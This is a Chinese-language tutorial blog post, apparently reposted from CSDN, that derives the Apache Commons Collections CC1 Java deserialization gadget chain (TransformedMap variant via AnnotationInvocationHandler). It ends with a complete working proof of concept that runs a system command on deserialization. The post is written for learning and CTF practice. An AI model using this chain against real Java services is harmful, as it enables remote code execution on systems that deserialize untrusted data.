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Java安全 反序列化(3) CC1链-TransformedMap版

Java安全 反序列化(3) CC1链-TransformedMap版

本文尝试从CC1的挖掘思路出发,理解CC1的实现原理

文章目录

Commons:Apache Commons是Apache软件基金会的项目,Commons的目的是提供可重用的解决各种实际问题的Java开源代码。

Commons Collections:Java中有一个Collections包,内部封装了许多方法用来对集合进行处理,CommonsCollections则是对Collections进行了补充,完善了更多对集合处理的方法,大大提高了性能。

实验环境:存在漏洞的版本 commons-collections3.1-3.2.1 jdk 8u71之后已修复不可利⽤

默认情况看不到AnnotationInvocationHandler类的源码,是因为jdk中没有sun包下的源码,需要手动下载该版本的openjdk源码

jdk版本及sun源码下载链接:https://pan.baidu.com/s/1JWjHsQpyhFt_KpPnt4aiwg?pwd=8888
提取码:8888

配置jdk版本和源代码配置

1.解压 jdk1.8.0_65.zip

2.解压jdk8-sun-source.zip 中class.rar中的sun源码

image-20240321192340776

3.替换 jdk1.8.0_65/src/中的sun文件夹

4.idea中添加源代码

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可以看到rt.jar包中任意源代码(而不是.class反编译文件),就是成功了

image-20240321192756947

访问 https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1

⾸先在设置在pom.xml环境

  <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

安装commons-collections成功后,环境配置结束

现在正式学习Java反序列化 CC链

前记 为什么可以利用

Apache Commons Collections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数,叫做InvokerTransformer,它可通过反射调用类中的方法,从而通过一连串的调用而造成命令执行,这条链便叫做Commons Collections链(简称cc链)。

一.CC链中的命令执行

我们的最终的目的是利用CC链来进行RCE

一般执行命令

 Runtime.getRuntime().exec("calc");

如此简单简洁,但是为什么我们不直接利用了?

image-20240321141339891

因为我们最终要通过反序类化执行任意命令 但是Runtime没有实现Serializable接口,不可以被序列化

image-20240321141444044

这个过程中不可序列化

所以我们可以通过反射调用来进行反序列化

image-20240321141640022

Class实现了Serialiable接口 可以实现序列化

 Class Runtime = Class.forName("java.lang.Runtime");
        Method getRuntime = Runtime.getMethod("getRuntime");
        Runtime runtime =(Runtime) getRuntime.invoke(null, null);
        Method exec = Runtime.getMethod("exec", String.class);
        exec.invoke(runtime, "calc");

image-20240321142217189可以通过反射执行任意命令

在上一篇文章中我们探究了 InvokerTransformer().transform()方法可以通过类似反射调用(invoke)任意函数

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我们可以尝试一下通过InvokerTransformer.transform()执行命令

InvokeTransformer构造函数接受三个参数

image-20240321142802109

  1. 1.String 函数名 exec
  2. Class[] 参数类型 String.class
  3. Object[] 具体参数值 calc

image-20240321142932400

接受对象,对对象执行函数

Runtime r=Runtime.getRuntime();newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"}).transform(r);

仍然可以执行系统命令

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在CC链接口Transformer实现类中,我们重点关注几个实现类

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1.ConstantTransformer实现类

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注意,和transform传入的Object input的对象无关,仅仅返回构造函数Object constantToReturn 的对象(这一点很重要,后面会应用)

2.InvokeTransformer实现类

前面探究过,通过反射调用任意的函数

相当于最后加了一个invoke方法调用

3.ChainedTransformer实现类(链式,有想法吗)

上篇文章具体调试过跟踪过ChainedTransformer的实现

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构造函数接受Transformer[] 数组进行赋值

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我们可以简单理解为一个**迭代器 **的 链式的调用

后一个对象.transform(前一个对象的.transform方法返回的对象)

通过这个ChainTransformer实现类可以实现(一节更比三节强的观念)

通过ChainTransformer.transform可以把传入Transformer[]一一调用transform方法,而且实现了 对象的传递

现在我们可以通过链式+反射调用任意命令

Transformer[] transformers=newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"})};ChainedTransformer chainedTransformer=newChainedTransformer(transformers);
        chainedTransformer.transform("aaa");

注意一点

chainedTransformer.transform("aaa");

aaa可以替换为任意值

先调用 ConstantTransformer.transform方法覆盖了传入的"aaa"返回Runtime.class对象(和transform传入的Object input的对象无关,仅仅返回构造函数Object constantToReturn 的对象,回顾一下前面)

二. CC1挖掘原理分析&Poc编写

现在我们开始分析一下CC1是如何被发现和利用的,重点在于学习前人发现的思路

时刻记住我们的目的

这里我们先利用 单个InvokerTransformer

Runtime r=Runtime.getRuntime();InvokerTransformer invokerTransformer=(InvokerTransformer)newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"});

走一遍流程

我们要利用transform执行任意命令

可以查看什么地方应用了transform (这里偏向测试map)

因为Map作为键值对的映射关系可以包含任意类

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可以利用的有DefaultedMap,LazyMap,TransformedMap

这里我们探究一下TransformedMap,其他下篇文章写

在TransformedMap中的

protected

方法(代表仅能被自身调用)checkSetValue传入

image-20240321173045476

我们希望valueTransformer是Invocationformer对象 ,传入的Object value是Runtime对象

image-20240321173524676

构造函数进行传值,但是是

protected

仅能被自身调用,向上寻找

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发现decorate的public 静态方法 可以返回 调用 构造方法

参数接受(Map map, Transformer keyTransformer, Transformer valueTransformer)

这里和keyTransformer 关系不大,可以设为空

Runtime r=Runtime.getRuntime();InvokerTransformer invokerTransformer=(InvokerTransformer)newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"});HashMap<Object,Object> hashmap=newHashMap<>();
        hashmap.put("key","value");TransformedMap.decorate(hashmap,null,invokerTransformer);

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等价于

InvokerTransformer.transform()

现在控制

checkSetValue(Object value)

传入的值和调用checkSetValue(Object value)

查找用法

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可以发现在AbstractInput中的镶嵌类MapEntry调用了checkSetValue方法

而AbstractInput恰好又是TransformedMap的父类

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这里MapEntry类继承自AbstractMapEntryDecorator而AbstractMapEntryDecorator实现了Map.Entry的接口

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我们可以通过遍历TransformedMap的Entry实现调用setValue方法

原因:因为如果我们遍历TransformedMap的Entry调用setValue,子类继承了父类的public方法(setValue),而且实现了对Map.Entry方法的重写,可以实现调用setValue方法

调用的便是它的父类AbstractInputCheckedMapDecorator类重写的setValue方法,便会触发 checkSetValue方法,从而触发cc链1

因此编写payload

Runtime r=Runtime.getRuntime();InvokerTransformer invokerTransformer=(InvokerTransformer)newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"});HashMap<Object,Object> hashmap=newHashMap<>();
        hashmap.put("key","value");Map<Object,Object> transformedMap =TransformedMap.decorate(hashmap,null,invokerTransformer);for(Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(r);}

传入的值是Runtime对象 等价实现

InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transformer(Runtime.class)

但是我们如何实现在readObject的时候调用setValue方法

经过寻找我们发现 AnnotationInvocationHandler

image-20240321193210784

1.重写了readobject

2.调用了memberValue.setValue()

而恰好我们可以控制memberValues的值

image-20240321193501905

这不是妥妥的入口类吗

这里接受两个参数

Class<? extends Annotation> type, Map<String, Object> memberValues

Annotation是Java的注解,比如

@Override

重写等

但是我们只能 用反射操作入口类

image-20240321193659400

因为这里没有修饰词,默认是default 只能通过在包内访问

分析一下readobject类

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

想要走到memberValue.setValue需要走过两个判断

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在 遍历memberValues.entrySet()的过程中

String name = memberValue.getKey();//获取Map键值Class<?> memberType = memberTypes.get(name);//获取Java注解的类型if(memberType !=null){Object value = memberValue.getValue();
Map<String, Class<?>> memberTypes = annotationType.memberTypes();

获取了memeberValue键的值作为name,在注解中寻找等于注解的name的值

判断不为空即可

我们需要获取注解中存在键值对的注解,这里我们可以用 @Target

image-20240321201203011

@Target 存在value的键 为了memberType 保证不为空,所以将

hashmap.put("value","value");

设为value

保证

Class<?> memberType = memberTypes.get(name);//获取Java注解的类型

可以保证memberTypes.get(name)可以获取到值

第二个if判断一定是可以通过的 member一定是存在的

image-20240321202019584

这里setValue的值不可控,但是对我们利用完全不影响

虽然这里的setValue方法带一个初始值,但我们ConstantTransformer类的transform方法,不受参数影响,构造方法传入什么,就原封不动返回什么

第三次重复了

和传入setValue的值没有关系

我们将InvokerTransformer替换为ChainTransformer

尝试通过反射建构AnnotationInvocationHandler 类

image-20240321203304350

接受

Class<? extends Annotation> type, Map<String, Object> memberValues

通过反射创建AnnotationInvocationHandler实例

Class annotation =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationDeclaredConstructor = annotation.getDeclaredConstructor(Class.class,Map.class);
        annotationDeclaredConstructor.setAccessible(true);Object annotationInstantce = annotationDeclaredConstructor.newInstance(Target.class,transformedMap);

对annotationInstantce进行序列化后反序列化后执行命令

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成功手写CC1链的Poc

三.CC1完整利用链Poc

importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.TransformedMap;importsun.instrument.TransformerManager;importjava.io.*;importjava.lang.annotation.Target;importjava.lang.reflect.Constructor;importjava.lang.reflect.InvocationTargetException;importjava.lang.reflect.Method;importjava.util.HashMap;importjava.util.Map;publicclassCC1{publicstaticvoidmain(String[] args)throwsIOException,ClassNotFoundException,NoSuchMethodException,InvocationTargetException,IllegalAccessException,InstantiationException{//Runtime.getRuntime().exec("calc");//        Class Runtime = Class.forName("java.lang.Runtime");//        Method getRuntime = Runtime.getMethod("getRuntime");//        Runtime runtime =(Runtime) getRuntime.invoke(null, null);//        Method exec = Runtime.getMethod("exec", String.class);//        exec.invoke(runtime, "calc");//        Runtime r=Runtime.getRuntime();//        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);Transformer[] transformers=newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"})};ChainedTransformer chainedTransformer=newChainedTransformer(transformers);//        ChainedTransformer chainedTransformer =(ChainedTransformer) chainedTransformer.transform("aaa");//        Runtime r=Runtime.getRuntime();//        InvokerTransformer invokerTransformer=(InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap<Object,Object> hashmap=newHashMap<>();
        hashmap.put("value","value");Map<Object,Object> transformedMap =TransformedMap.decorate(hashmap,null,chainedTransformer);//        for(Map.Entry entry:transformedMap.entrySet()){//            entry.setValue(r);Class annotation =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationDeclaredConstructor = annotation.getDeclaredConstructor(Class.class,Map.class);
        annotationDeclaredConstructor.setAccessible(true);Object annotationInstantce = annotationDeclaredConstructor.newInstance(Target.class,transformedMap);serialize(annotationInstantce);unserialize();}publicstaticvoidserialize(Object obj)throwsIOException{ObjectOutputStream oos =newObjectOutputStream(newFileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();}publicstaticvoidunserialize()throwsIOException,ClassNotFoundException{ObjectInputStream ois =newObjectInputStream(newFileInputStream("ser.bin"));
        ois.readObject();
        ois.close();}}

以后遇到其他类似题,就可以参考Poc了

反思总结

核心概念

  1. 入口类必须重写readObject
  2. 通过不同类的同名方法进行跳转连接

下一篇我们从LazyMap出发实现RCE

标签: java 安全 CTF

本文转载自: https://blog.csdn.net/qq_39947980/article/details/136920526
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